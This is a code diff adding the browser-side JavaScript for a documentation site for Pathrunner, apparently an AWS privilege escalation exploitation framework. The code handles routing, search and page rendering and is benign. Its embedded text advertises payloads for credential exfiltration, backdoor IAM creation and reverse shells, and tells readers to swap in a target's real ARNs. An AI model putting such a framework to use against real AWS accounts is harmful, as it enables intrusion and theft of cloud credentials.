+    if (redirectPath) {
+        sessionStorage.removeItem('redirectPath');
+        history.replaceState(null, '', redirectPath);
+    }
+    routeFromURL();
+    window.addEventListener('popstate', routeFromURL);
+}
+
+function routeFromURL() {
+    const path = window.location.pathname.replace(/\/+$/, ''); // strip trailing slash
+    // /pathrunner/{kind}/{id}
+    const detailMatch = path.match(/^\/pathrunner\/(commands|modules|payloads)\/(.+)$/);
+    const sectionMatch = path.match(/^\/pathrunner\/(commands|modules|payloads)$/);
+
+    if (path === '/pathrunner' || path === '') {
+        showLanding();
+    } else if (path === '/pathrunner/getting-started') {
+        showGettingStarted();
+    } else if (detailMatch) {
+        showDetail(detailMatch[1], decodeURIComponent(detailMatch[2]));
+    } else if (sectionMatch) {
+        showSection(sectionMatch[1]);
+    } else {
+        // Unknown pathrunner route -> fall back to the landing page.
+        navigate('/pathrunner/');
+        return;
+    }
+    if (window.sidebarMarkActive) window.sidebarMarkActive();
+}
+
+function navigate(url, e) {
+    if (e) {
+        if (e.metaKey || e.ctrlKey || e.shiftKey) return; // let the browser open a new tab
+        e.preventDefault();
+    }
+    history.pushState(null, '', url);
+    routeFromURL();
+    window.scrollTo(0, 0);
+}
+window.prNavigate = navigate;
+
+// ── View switching ────────────────────────────────────────────────────────
+function showListView() {
+    document.getElementById('detail-view').style.display = 'none';
+    document.getElementById('list-view').style.display = '';
+}
+
+function showDetailView(html) {
+    document.getElementById('list-view').style.display = 'none';
+    const detailView = document.getElementById('detail-view');
+    detailView.style.display = '';
+    document.getElementById('detail-content').innerHTML = html;
+}
+
+function setSearchValue(value) {
+    const input = document.getElementById('pr-search');
+    if (input) input.value = value;
+}
+
+// ── Landing ───────────────────────────────────────────────────────────────
+function renderLanding() {
+    const counts = prIndex.counts || {};
+    const gen = prIndex.generator || {};
+    const landing = document.getElementById('pr-landing');
+
+    const cards = [
+        {
+            href: '/pathrunner/getting-started', title: 'Getting Started',
+            count: null, desc: 'Install Pathrunner, run your first exploit, and learn the core concepts: identities, payloads, workspaces, and the audit-log report.',
+            icon: '<circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/>'
+        },
+        {
+            href: '/pathrunner/modules', title: 'Exploit Modules',
+            count: counts.modules, desc: 'The catalog of AWS privilege escalation modules, each tied to a pathfinding.cloud path and validated against a lab.',
+            icon: '<path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/>'
+        },
+        {
+            href: '/pathrunner/payloads', title: 'Payloads',
+            count: counts.payloads, desc: 'Interchangeable payloads a module can run - credential and HTTPS exfiltration, backdoor role/user/policy creation, reverse shells.',
+            icon: '<path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/>'
+        },
+        {
+            href: '/pathrunner/commands', title: 'Commands',
+            count: counts.commands, desc: 'Every top-level command and subcommand in the REPL and the 1:1 CLI, with usage and flags.',
+            icon: '<polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/>'
+        }
+    ];
+
+    const cardsHtml = cards.map((c) => `
+        <a href="${c.href}" class="pr-card" onclick="prNavigate('${c.href}', event)">
+            <div class="pr-card-head">
+                <svg width="22" height="22" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">${c.icon}</svg>
+                <span class="pr-card-title">${escapeHtml(c.title)}</span>
+                ${c.count != null ? `<span class="pr-card-count">${escapeHtml(c.count)}</span>` : ''}
+            </div>
+            <div class="pr-card-desc">${escapeHtml(c.desc)}</div>
+        </a>`).join('');
+
+    const versionLine = gen.pathrunnerVersion
+        ? `<div class="pr-version">pathrunner ${escapeHtml(gen.pathrunnerVersion)} &middot; reference schema v${escapeHtml(gen.schemaVersion || '?')}</div>`
+        : '';
+
+    landing.innerHTML = `
+        <div class="pr-hero">
+            <h1>Pathrunner</h1>
+            <div class="pr-tagline">A modular AWS privilege escalation exploitation framework - a Metasploit-style REPL, a scriptable CLI, interchangeable payloads, and built-in attacker infrastructure. This is the command, module, and payload reference, generated directly from the Pathrunner source.</div>
+            <div class="pr-stat-row">
+                <div class="pr-stat"><span class="pr-stat-num">${escapeHtml(counts.modules ?? '-')}</span><span class="pr-stat-label">Modules</span></div>
+                <div class="pr-stat"><span class="pr-stat-num">${escapeHtml(counts.payloads ?? '-')}</span><span class="pr-stat-label">Payloads</span></div>
+                <div class="pr-stat"><span class="pr-stat-num">${escapeHtml(counts.services ?? '-')}</span><span class="pr-stat-label">AWS Services</span></div>
+                <div class="pr-stat"><span class="pr-stat-num">${escapeHtml(counts.commands ?? '-')}</span><span class="pr-stat-label">Commands</span></div>
+            </div>
+            ${versionLine}
+        </div>
+        <div class="pr-search-bar">
+            <input type="text" id="pr-search" placeholder="Search modules, payloads, and commands..." autocomplete="off">
+        </div>
+        <div id="pr-cards-wrap"><div class="pr-cards">${cardsHtml}</div></div>`;
+}
+
+function showLanding() {
+    currentRoute = { view: 'landing' };
+    document.title = 'pathfinding.cloud - Pathrunner';
+    showListView();
+    setSearchValue('');
+    const cards = document.getElementById('pr-cards-wrap');
+    if (cards) cards.style.display = '';
+    document.getElementById('pr-results').innerHTML = '';
+}
+
+// ── Search ────────────────────────────────────────────────────────────────
+function setupSearch() {
+    // The search input is (re)created inside #pr-landing; use event delegation
+    // so a single listener survives landing re-renders.
+    document.getElementById('list-view').addEventListener('input', (e) => {
+        if (e.target && e.target.id === 'pr-search') runSearch(e.target.value);
+    });
+}
+
+function runSearch(rawQuery) {
+    const query = rawQuery.trim().toLowerCase();
+    const cards = document.getElementById('pr-cards-wrap');
+    const results = document.getElementById('pr-results');
+
+    if (!query) {
+        if (cards) cards.style.display = '';
+        results.innerHTML = '';
+        return;
+    }
+    if (cards) cards.style.display = 'none';
+
+    const matchModules = (prIndex.modules || []).filter((m) =>
+        (m.id || '').toLowerCase().includes(query) ||
+        (m.name || '').toLowerCase().includes(query) ||
+        (m.category || '').toLowerCase().includes(query) ||
+        (m.services || []).some((s) => s.toLowerCase().includes(query))
+    );
+    const matchPayloads = (prIndex.payloads || []).filter((p) =>
+        (p.name || '').toLowerCase().includes(query) ||
+        (p.qualifiedName || '').toLowerCase().includes(query) ||
+        (p.service || '').toLowerCase().includes(query) ||
+        (p.tags || []).some((t) => t.toLowerCase().includes(query))
+    );
+    const matchCommands = (prIndex.commands || []).filter((c) =>
+        (c.name || '').toLowerCase().includes(query) ||
+        (c.short || '').toLowerCase().includes(query)
+    );
+
+    const total = matchModules.length + matchPayloads.length + matchCommands.length;
+    let html = `<div class="pr-section-sub">${total} result${total === 1 ? '' : 's'} for "${escapeHtml(rawQuery.trim())}"</div>`;
+
+    if (matchModules.length) {
+        html += `<div class="pr-group-heading">Modules (${matchModules.length})</div>`;
+        html += renderItemList(matchModules.map(moduleListItem));
+    }
+    if (matchPayloads.length) {
+        html += `<div class="pr-group-heading">Payloads (${matchPayloads.length})</div>`;
+        html += renderItemList(matchPayloads.map(payloadListItem));
+    }
+    if (matchCommands.length) {
+        html += `<div class="pr-group-heading">Commands (${matchCommands.length})</div>`;
+        html += renderItemList(matchCommands.map(commandListItem));
+    }
+    if (!total) html = `<div class="pr-empty" style="padding:30px 0;">No results for "${escapeHtml(rawQuery.trim())}".</div>`;
+
+    results.innerHTML = html;
+}
+
+// ── Section listings ──────────────────────────────────────────────────────
+function moduleListItem(m) {
+    return {
+        href: `/pathrunner/modules/${m.id}`,
+        name: m.id,
+        sub: `${escapeHtml(m.name || '')}${m.category ? ` &middot; ${escapeHtml(m.category)}` : ''}`,
+        group: m.primaryService || 'other'
+    };
+}
+function payloadListItem(p) {
+    return {
+        href: `/pathrunner/payloads/${p.slug}`,
+        name: p.qualifiedName || p.name,
+        sub: (p.tags || []).map((t) => `<span class="pr-badge">${escapeHtml(t)}</span>`).join(''),
+        group: p.service || 'other'
+    };
+}
+function commandListItem(c) {
+    return {
+        href: `/pathrunner/commands/${c.name}`,
+        name: c.name,
+        sub: escapeHtml(c.short || ''),
+        group: c.group || 'other'
+    };
+}
+
+function renderItemList(items) {
+    const cells = items.map((it) => {
+        const inner = `
+            <div class="pr-list-item-name">${escapeHtml(it.name)}</div>
+            ${it.sub ? `<div class="pr-list-item-sub">${it.sub}</div>` : ''}`;
+        // Non-linkable items (e.g. a compatible payload with no resolved page)
+        // render as a plain, non-clickable card.
+        if (!it.href) return `<div class="pr-list-item pr-list-item-static">${inner}</div>`;
+        return `<a href="${it.href}" class="pr-list-item" onclick="prNavigate('${it.href}', event)">${inner}</a>`;
+    }).join('');
+    return `<div class="pr-list">${cells}</div>`;
+}
+
+function renderGrouped(items, groupLabelFn) {
+    const groups = {};
+    items.forEach((it) => {
+        const g = it.group || 'other';
+        (groups[g] = groups[g] || []).push(it);
+    });
+    return Object.keys(groups).sort().map((g) => `
+        <div class="pr-group-heading">${escapeHtml(groupLabelFn ? groupLabelFn(g) : g)} (${groups[g].length})</div>
+        ${renderItemList(groups[g])}`).join('');
+}
+
+function showSection(kind) {
+    currentRoute = { view: 'section', kind };
+    showListView();
+    const cards = document.getElementById('pr-cards-wrap');
+    if (cards) cards.style.display = 'none';
+    setSearchValue('');
+    const results = document.getElementById('pr-results');
+
+    let title, sub, body;
+    if (kind === 'modules') {
+        document.title = 'Pathrunner Modules - pathfinding.cloud';
+        title = 'Exploit Modules';
+        sub = `${(prIndex.modules || []).length} modules, grouped by primary AWS service.`;
+        body = renderGrouped((prIndex.modules || []).map(moduleListItem), (g) => g.toUpperCase());
+    } else if (kind === 'payloads') {
+        document.title = 'Pathrunner Payloads - pathfinding.cloud';
+        title = 'Payloads';
+        sub = `${(prIndex.payloads || []).length} payloads, grouped by AWS service.`;
+        body = renderGrouped((prIndex.payloads || []).map(payloadListItem), (g) => g.toUpperCase());
+    } else {
+        document.title = 'Pathrunner Commands - pathfinding.cloud';
+        title = 'Commands';
+        sub = `${(prIndex.commands || []).length} top-level commands. Subcommands are documented within each command page.`;
+        const groupLabels = { core: 'Core Commands', module: 'Module Commands', other: 'Other' };
+        body = renderGrouped((prIndex.commands || []).map(commandListItem), (g) => groupLabels[g] || titleCase(g));
+    }
+
+    results.innerHTML = `
+        <div class="pr-breadcrumb"><a href="/pathrunner/" onclick="prNavigate('/pathrunner/', event)">Pathrunner</a> / ${escapeHtml(title)}</div>
+        <h2 class="pr-section-title">${escapeHtml(title)}</h2>
+        <div class="pr-section-sub">${sub}</div>
+        ${body}`;
+}
+
+// ── Detail rendering ──────────────────────────────────────────────────────
+function breadcrumb(sectionHref, sectionLabel, leaf) {
+    return `<div class="pr-breadcrumb">
+        <a href="/pathrunner/" onclick="prNavigate('/pathrunner/', event)">Pathrunner</a> /
+        <a href="${sectionHref}" onclick="prNavigate('${sectionHref}', event)">${escapeHtml(sectionLabel)}</a> /
+        ${escapeHtml(leaf)}</div>`;
+}
+
+async function showDetail(kind, id) {
+    showDetailView('<div class="loading">Loading...</div>');
+    let data;
+    try {
+        data = await fetchDetail(kind, id);
+    } catch (err) {
+        showDetailView(`${breadcrumb(`/pathrunner/${kind}`, titleCase(kind), id)}
+            <div class="pr-empty" style="padding:30px 0;">Could not load ${escapeHtml(kind)} "${escapeHtml(id)}" (${escapeHtml(err.message)}).</div>`);
+        return;
+    }
+    if (kind === 'modules') showDetailView(renderModuleDetail(data));
+    else if (kind === 'payloads') showDetailView(renderPayloadDetail(data));
+    else showDetailView(renderCommandDetail(data));
+    window.scrollTo(0, 0);
+}
+
+// A single GIF with a Replay control. The GIFs are re-encoded to play once (no
+// loop); clicking Replay reloads the image with a cache-busting query so it runs
+// through a single time again.
+function gifFigure(stem) {
+    const src = `/pathrunner/gifs/${encodeURIComponent(stem)}.gif`;
+    return `<figure class="pr-gif-wrap">
+        <img class="pr-gif" src="${src}" data-gif-src="${src}" alt="${escapeHtml(stem)} demo" loading="lazy">
+        <button type="button" class="pr-gif-replay" onclick="prReplayGif(this)">&#8635; Replay</button>
+    </figure>`;
+}
+
+// Render a single demo media item. Module demos arrive as {name, ext} objects:
+// WebM becomes a <video> with native controls (autoplay+muted+loop makes it feel
+// like a GIF on load, but the viewer can pause, scrub, and seek). Anything else —
+// or a bare stem string (command GIFs) — falls back to the play-once <img>.
+function mediaFigure(item) {
+    const name = (typeof item === 'string') ? item : (item && item.name) || '';
+    const ext = (typeof item === 'string') ? 'gif' : ((item && item.ext) || 'gif');
+    if (!name) return '';
+    if (ext === 'webm' || ext === 'mp4') {
+        const src = `/pathrunner/gifs/${encodeURIComponent(name)}.${encodeURIComponent(ext)}`;
+        const type = ext === 'webm' ? 'video/webm' : 'video/mp4';
+        return `<figure class="pr-gif-wrap">
+            <video class="pr-video" controls loop autoplay muted playsinline preload="metadata" aria-label="${escapeHtml(name)} demo">
+                <source src="${src}" type="${type}">
+            </video>
+        </figure>`;
+    }
+    return gifFigure(name);
+}
+
+function gifsBlock(data) {
+    if (!data.gifs || !data.gifs.length) return '';
+    return data.gifs.map(mediaFigure).join('');
+}
+
+// Reload a play-once GIF so it animates again.
+function prReplayGif(button) {
+    const img = button.parentElement.querySelector('img.pr-gif');
+    if (!img) return;
+    const base = img.getAttribute('data-gif-src');
+    img.src = `${base}?t=${Date.now()}`;
+}
+window.prReplayGif = prReplayGif;
+
+// Derive a GIF stem from a command/subcommand node's invocation path, matching
+// how the generator names GIF files (e.g. "pathrunner attacker identity show" ->
+// "attacker-identity-show").
+function nodeGifStem(node) {
+    const invocation = node.path || node.name || '';
+    return invocation
+        .replace(/^pathrunner\s+/, '')
+        .replace(/[^a-zA-Z0-9]+/g, '-')
+        .replace(/^-+|-+$/g, '')
+        .toLowerCase();
+}
+
+// If a GIF exists for this node, render it inline (right under the node's content).
+function nodeGif(node, gifSet) {
+    const stem = nodeGifStem(node);
+    return gifSet.has(stem) ? gifFigure(stem) : '';
+}
+
+function flagsTable(flags) {
+    if (!flags || !flags.length) return '';
+    const rows = flags.map((f) => `
+        <tr>
+            <td><span class="pr-mono">--${escapeHtml(f.name)}${f.shorthand ? `, -${escapeHtml(f.shorthand)}` : ''}</span></td>
+            <td>${escapeHtml(f.type || '')}</td>
+            <td>${escapeHtml(f.usage || '')}</td>
+            <td>${f.default ? `<span class="pr-mono">${escapeHtml(f.default)}</span>` : ''}</td>
+        </tr>`).join('');
+    return `<table class="pr-opt-table">
+        <thead><tr><th>Flag</th><th>Type</th><th>Description</th><th>Default</th></tr></thead>
+        <tbody>${rows}</tbody></table>`;
+}
+
+function renderSubcommands(subcommands, depth, gifSet) {
+    if (!subcommands || !subcommands.length) return '';
+    return subcommands.map((sc) => `
+            <div class="pr-subcmd">
+                <h3>${escapeHtml(sc.path || sc.name)}</h3>
+                ${sc.short ? `<p>${escapeHtml(sc.short)}</p>` : ''}
+                ${sc.usage ? `<pre><code>${escapeHtml(sc.usage)}</code></pre>` : ''}
+                ${flagsTable(sc.flags)}
+                ${nodeGif(sc, gifSet)}
+                ${renderSubcommands(sc.subcommands, depth + 1, gifSet)}
+            </div>`).join('');
+}
+
+function renderCommandDetail(cmd) {
+    const name = cmd.name || '';
+    const gifSet = new Set(cmd.gifs || []);
+    let html = breadcrumb('/pathrunner/commands', 'Commands', name);
+    html += '<div class="pr-detail">';
+
+    // Overview panel: invocation, summary, aliases, long description.
+    let overview = `<h1 class="pr-module-id">${escapeHtml(cmd.path || name)}</h1>`;
+    if (cmd.short) overview += `<div class="pr-module-name">${escapeHtml(cmd.short)}</div>`;
+    if (cmd.aliases && cmd.aliases.length) {
+        overview += `<div class="pr-section-sub" style="margin-top:12px;">Aliases: ${cmd.aliases.map((a) => `<span class="pr-mono">${escapeHtml(a)}</span>`).join(', ')}</div>`;
+    }
+    if (cmd.long && cmd.long !== cmd.short) overview += renderText(cmd.long);
+    html += `<section class="pr-panel">${overview}</section>`;
+
+    if (cmd.usage) html += panel('Usage', `<pre><code>${escapeHtml(cmd.usage)}</code></pre>`);
+    // GIF for the top-level command itself (e.g. `search`, `payloads`).
+    const topGif = nodeGif(cmd, gifSet);
+    if (topGif) html += panel('Demo', topGif);
+    if (cmd.flags && cmd.flags.length) html += panel('Flags', flagsTable(cmd.flags));
+    if (cmd.subcommands && cmd.subcommands.length) html += panel('Subcommands', renderSubcommands(cmd.subcommands, 1, gifSet));
+
+    html += '</div>';
+    return html;
+}
+
+function optionsTable(options) {
+    if (!options || !options.length) return '';
+    const rows = options.map((o) => `
+        <tr>
+            <td><span class="pr-mono">${escapeHtml(o.name || '')}</span></td>
+            <td>${o.required ? 'Yes' : 'No'}</td>
+            <td>${escapeHtml(o.description || '')}</td>
+            <td>${o.default ? `<span class="pr-mono">${escapeHtml(o.default)}</span>` : ''}</td>
+        </tr>`).join('');
+    return `<table class="pr-opt-table">
+        <thead><tr><th>Option</th><th>Required</th><th>Description</th><th>Default</th></tr></thead>
+        <tbody>${rows}</tbody></table>`;
+}
+
+// A module's compatible payload as a card (same component as the /payloads page).
+// Resolved payloads (with a slug) link to their payload page; unresolved ones
+// render as a static card showing the payload's description.
+function moduleCompatPayloadItem(p) {
+    if (p.slug) {
+        return {
+            href: `/pathrunner/payloads/${p.slug}`,
+            name: p.qualifiedName || p.name,
+            sub: (p.tags || []).map((t) => `<span class="pr-badge">${escapeHtml(t)}</span>`).join(''),
+        };
+    }
+    return { href: null, name: p.name, sub: escapeHtml(p.description || '') };
+}
+
+// Wrap a section's content in a labs-style card so nothing sits bare on the page
+// background. An optional title renders as the panel heading.
+function panel(title, bodyHtml) {
+    return `<section class="pr-panel">${title ? `<h2 class="pr-panel-title">${escapeHtml(title)}</h2>` : ''}${bodyHtml}</section>`;
+}
+
+// Render one cliStep (e.g. "pathrunner set ROLE_ARN arn:aws:...") as a single
+// syntax-highlighted terminal line. The leading "$" prompt is presentational
+// only — it is never part of the copied text. Highlighting is intentionally
+// simple: de-emphasize the invariant `pathrunner` binary so the verb, option
+// names, and values the reader actually cares about stand out.
+function cliStepLine(step) {
+    const tokens = String(step).trim().split(/\s+/);
+    const bin = tokens[0] || '';          // "pathrunner"
+    const verb = tokens[1] || '';         // use | show | set | exploit
+    const rest = tokens.slice(2);
+    let restHtml = '';
+    if (verb === 'set' && rest.length) {
+        // "set NAME value..." — colour the option name distinctly from its value.
+        const optName = rest[0];
+        const optValue = rest.slice(1).join(' ');
+        restHtml = `<span class="pr-cli-opt">${escapeHtml(optName)}</span>`;
+        if (optValue) restHtml += ` <span class="pr-cli-val">${escapeHtml(optValue)}</span>`;
+    } else if (rest.length) {
+        restHtml = `<span class="pr-cli-arg">${escapeHtml(rest.join(' '))}</span>`;
+    }
+    const isExploit = verb === 'exploit';
+    const verbHtml = verb ? ` <span class="pr-cli-verb">${escapeHtml(verb)}</span>` : '';
+    return `<span class="pr-cli-line${isExploit ? ' pr-cli-fire' : ''}">` +
+        `<span class="pr-cli-prompt">$</span> ` +
+        `<span class="pr-cli-bin">${escapeHtml(bin)}</span>${verbHtml}` +
+        (restHtml ? ` ${restHtml}` : '') +
+        (isExploit ? ` <span class="pr-cli-comment"># runs the attack</span>` : '') +
+        `</span>`;
+}
+
+// Build the copy-pastable CLI workflow block from a module's cliSteps: the exact
+// one-shot commands (with mock values filled in and a payload pre-selected) that
+// reproduce the module end-to-end, ending in `pathrunner exploit`. The in-page
+// demo GIF stops one step short of exploit, so this block is the authoritative
+// "and then actually run it" reference.
+function cliWorkflowBlock(mod) {
+    const steps = mod.cliSteps || [];
+    if (!steps.length) return '';
+    // Join with no separator: each line is a display:block span, so a literal
+    // newline between them inside <pre> would render as an extra blank line.
+    const linesHtml = steps.map(cliStepLine).join('');
+    const raw = steps.join('\n');
+    return `<div class="pr-cli">
+        <button type="button" class="pr-cli-copy" data-cli="${escapeHtml(raw)}" onclick="prCopyCli(this)">Copy</button>
+        <pre class="pr-cli-body"><code>${linesHtml}</code></pre>
+        <p class="pr-cli-note">Mock values are placeholders — swap in your target's real ARNs. The demo above stops before <span class="pr-mono">pathrunner exploit</span>.</p>
+    </div>`;
+}
+
+// Copy a CLI block's raw commands (newline-joined, no "$" prompts) to the
+// clipboard, with a textarea fallback for browsers without the async API.
+function prCopyCli(button) {
+    const text = button.getAttribute('data-cli') || '';
+    const flash = () => {
+        const original = button.textContent;
+        button.textContent = 'Copied';
+        button.classList.add('pr-cli-copied');
+        setTimeout(() => {
+            button.textContent = original;
+            button.classList.remove('pr-cli-copied');
+        }, 1500);
+    };
+    const fallback = () => {
+        const ta = document.createElement('textarea');
+        ta.value = text;
+        ta.style.position = 'fixed';
+        ta.style.opacity = '0';
+        document.body.appendChild(ta);
+        ta.select();
+        try { document.execCommand('copy'); flash(); } catch (_) { /* no-op */ }
+        document.body.removeChild(ta);
+    };
+    if (navigator.clipboard && navigator.clipboard.writeText) {
+        navigator.clipboard.writeText(text).then(flash).catch(fallback);
+    } else {
+        fallback();
+    }
+}
+window.prCopyCli = prCopyCli;
+
+function renderModuleDetail(mod) {
+    const id = mod.id || '';
+    let html = breadcrumb('/pathrunner/modules', 'Modules', id);
+    html += '<div class="pr-detail">';
+
+    // ── Overview panel: identity, metadata, and the cross-reference links ──
+    // (grouped and well-spaced so the links are never crowded by a table).
+    const pathHref = mod.pathfindingCloudUrl || `/paths/${id}`;
+    let xrefs = `<a class="pr-xref" href="${escapeHtml(pathHref)}">Path definition &rarr; /paths/${escapeHtml(id)}</a>`;
+    if (mod.labSlug) {
+        xrefs += `<a class="pr-xref" href="/labs/${escapeHtml(mod.labSlug)}">Practice lab &rarr; /labs/${escapeHtml(mod.labSlug)}</a>`;
+    }
+
+    const services = (mod.services || []).join(', ');
+    const aliases = (mod.aliases || []).map((a) => `<span class="pr-mono">${escapeHtml(a)}</span>`).join(', ');
+    const metaItem = (label, value) => value ? `<div><dt>${escapeHtml(label)}</dt><dd>${value}</dd></div>` : '';
+    const metaGrid = `<dl class="pr-meta-grid">
+        ${metaItem('Category', escapeHtml(mod.category || ''))}
+        ${metaItem('Services', escapeHtml(services))}
+        ${metaItem('Author', escapeHtml(mod.author || ''))}
+        ${metaItem('Aliases', aliases)}
+    </dl>`;
+
+    const overviewBody = `<h1 class="pr-module-id">${escapeHtml(id)}</h1>
+        ${mod.name ? `<div class="pr-module-name pr-mono">${escapeHtml(mod.name)}</div>` : ''}
+        ${metaGrid}
+        <div class="pr-xref-row">${xrefs}</div>`;
+    html += `<section class="pr-panel">${overviewBody}</section>`;
+
+    // ── Demo: the per-module VHS recording (use module + show options + show
+    // payloads), keyed by module id. Rendered when the GIF has been produced. ──
+    const gifs = gifsBlock(mod);
+    if (gifs) html += panel('REPL mode workflow', gifs);
+
+    // ── CLI workflow: the copy-pastable one-shot commands (mock values filled
+    // in, payload pre-selected) that reproduce this module end-to-end. ──
+    const cli = cliWorkflowBlock(mod);
+    if (cli) html += panel('CLI mode workflow', cli);
+
+    // ── Options ──
+    html += panel('Options',
+        (mod.options && mod.options.length) ? optionsTable(mod.options) : '<p class="pr-empty">No options.</p>');
+
+    // ── Compatible payloads (same cards as the /payloads page), linking to each. ──
+    html += panel('Compatible payloads',
+        (mod.payloads && mod.payloads.length)
+            ? renderItemList(mod.payloads.map(moduleCompatPayloadItem))
+            : '<p class="pr-empty">No payloads.</p>');
+
+    // ── Module commands: the REPL commands available once this module is loaded. ──
+    const moduleCommands = (prIndex.commands || []).filter((c) => c.group === 'module');
+    if (moduleCommands.length) {
+        html += panel('Module commands',
+            `<div class="pr-section-sub" style="margin-bottom:14px;">Available in the REPL once this module is loaded (<span class="pr-mono">use ${escapeHtml(id)}</span>).</div>`
+            + renderItemList(moduleCommands.map(commandListItem)));
+    }
+
+    html += '</div>';
+    return html;
+}
+
+function renderPayloadDetail(p) {
+    const title = p.qualifiedName || p.name || '';
+    let html = breadcrumb('/pathrunner/payloads', 'Payloads', title);
+    html += '<div class="pr-detail">';
+
+    // Overview panel: qualified name, metadata, tags.
+    const metaItem = (label, value) => value ? `<div><dt>${escapeHtml(label)}</dt><dd>${value}</dd></div>` : '';
+    let overview = `<h1 class="pr-module-id">${escapeHtml(title)}</h1>`;
+    overview += `<dl class="pr-meta-grid">
+        ${metaItem('Name', `<span class="pr-mono">${escapeHtml(p.name || '')}</span>`)}
+        ${metaItem('Service', escapeHtml(p.service || ''))}
+    </dl>`;
+    if (p.tags && p.tags.length) {
+        overview += '<div style="margin-top:16px;">' + p.tags.map((t) => `<span class="pr-tag-strong">${escapeHtml(t)}</span>`).join('') + '</div>';
+    }
+    html += `<section class="pr-panel">${overview}</section>`;
+
+    if (p.description) html += panel('Description', renderText(p.description));
+    if (p.options && p.options.length) html += panel('Options', optionsTable(p.options));
+    html += '</div>';
+    return html;
+}
+
+// ── Getting Started (authored as /pathrunner/getting-started.md, PR-editable) ──
+async function showGettingStarted() {
+    currentRoute = { view: 'getting-started' };
+    document.title = 'Pathrunner Getting Started - pathfinding.cloud';
+    showDetailView('<div class="loading">Loading...</div>');
+    let markdown;
+    try {
+        if (guideMarkdown === null) {
+            const response = await fetch('/pathrunner/getting-started.md');
+            if (!response.ok) throw new Error(`HTTP ${response.status}`);
+            guideMarkdown = await response.text();
+        }
+        markdown = guideMarkdown;
+    } catch (err) {
+        showDetailView(`${breadcrumb('/pathrunner/', 'Pathrunner', 'Getting Started')}
+            <div class="pr-empty" style="padding:30px 0;">Could not load the guide (${escapeHtml(err.message)}).</div>`);
+        return;
+    }
+    showDetailView(renderGuide(markdown));
+    window.scrollTo(0, 0);
+    if (window.sidebarMarkActive) window.sidebarMarkActive();
+}
+
+// Render the guide: the leading `# Title` + intro become a hero panel, and each
+// `## Section` becomes its own panel -- consistent with the rest of the section.
+function renderGuide(md) {
+    const normalized = md.replace(/\r\n/g, '\n');
+    const parts = normalized.split(/\n(?=## )/);
+    const intro = parts.shift() || '';
+
+    let html = breadcrumb('/pathrunner/', 'Pathrunner', 'Getting Started');
+    html += '<div class="pr-detail pr-guide">';
+
+    const titleMatch = intro.match(/^#\s+(.+)$/m);
+    const title = titleMatch ? titleMatch[1] : 'Getting Started';
+    const introBody = intro.replace(/^#\s+.+$/m, '').trim();
+    html += `<section class="pr-panel"><h1>${escapeHtml(title)}</h1>${introBody ? renderMarkdownBlocks(introBody) : ''}</section>`;
+
+    for (const part of parts) {
+        const match = part.match(/^##\s+(.+)\n?([\s\S]*)$/);
+        const heading = match ? match[1] : '';
+        const body = match ? match[2] : part;
+        html += `<section class="pr-panel"><h2 class="pr-panel-title">${escapeHtml(heading)}</h2>${renderMarkdownBlocks(body)}</section>`;
+    }
+
+    html += '</div>';
+    return html;
+}
+
+// Compact block-level Markdown renderer: fenced code, h3/h4, ordered/unordered
+// lists, horizontal rules, and paragraphs. Inline formatting via renderInlineMd.
+function renderMarkdownBlocks(md) {
+    const lines = md.replace(/\r\n/g, '\n').split('\n');
+    let html = '';
+    let list = null; // { type: 'ul' | 'ol', items: [] }
+    const flushList = () => {
+        if (!list) return;
+        html += `<${list.type}>` + list.items.map((it) => `<li>${renderInlineMd(it)}</li>`).join('') + `</${list.type}>`;
+        list = null;
+    };
+
+    let i = 0;
+    while (i < lines.length) {
+        const line = lines[i];
+
+        if (/^\s*```/.test(line)) {                       // fenced code block
+            flushList();
+            i++;
+            const code = [];
+            while (i < lines.length && !/^\s*```/.test(lines[i])) { code.push(lines[i]); i++; }
+            i++; // consume closing fence
+            html += `<pre><code>${escapeHtml(code.join('\n'))}</code></pre>`;
+            continue;
+        }
+
+        const heading = line.match(/^(#{1,4})\s+(.*)$/);
+        if (heading) { flushList(); const level = heading[1].length; html += `<h${level}>${renderInlineMd(heading[2])}</h${level}>`; i++; continue; }
+
+        if (/^\s*---+\s*$/.test(line)) { flushList(); html += '<hr>'; i++; continue; }
+
+        const ul = line.match(/^\s*[-*]\s+(.*)$/);
+        if (ul) { if (!list || list.type !== 'ul') { flushList(); list = { type: 'ul', items: [] }; } list.items.push(ul[1]); i++; continue; }
+
+        const ol = line.match(/^\s*\d+\.\s+(.*)$/);
+        if (ol) { if (!list || list.type !== 'ol') { flushList(); list = { type: 'ol', items: [] }; } list.items.push(ol[1]); i++; continue; }
+
+        if (line.trim() === '') { flushList(); i++; continue; }
+
+        // Paragraph: gather consecutive lines until a blank line or block start.
+        flushList();
+        const para = [line];
+        i++;
+        while (i < lines.length && lines[i].trim() !== '' &&
+               !/^(#{1,4}\s|\s*```|\s*[-*]\s|\s*\d+\.\s|\s*---+\s*$)/.test(lines[i])) {
+            para.push(lines[i]); i++;
+        }
+        html += `<p>${renderInlineMd(para.join(' '))}</p>`;
+    }
+    flushList();
+    return html;
+}
+
+// Inline Markdown: `code`, [text](url) (internal links route via the SPA), **bold**,
+// and *italic*. Everything is HTML-escaped first.
+function renderInlineMd(text) {
+    let t = escapeHtml(text);
+    t = t.replace(/`([^`]+)`/g, (m, code) => `<code>${code}</code>`);
+    t = t.replace(/\[([^\]]+)\]\(([^)]+)\)/g, (m, label, url) => {
+        const isExternal = /^https?:\/\//.test(url);
+        const safeUrl = url.replace(/"/g, '&quot;');
+        if (isExternal) return `<a href="${safeUrl}" target="_blank" rel="noopener noreferrer">${label}</a>`;
+        return `<a href="${safeUrl}" onclick="prNavigate('${safeUrl}', event)">${label}</a>`;
+    });
+    t = t.replace(/\*\*([^*]+)\*\*/g, '<strong>$1</strong>');
+    t = t.replace(/(^|[^*])\*([^*\s][^*]*)\*(?!\*)/g, '$1<em>$2</em>');
+    return t;
+}
+
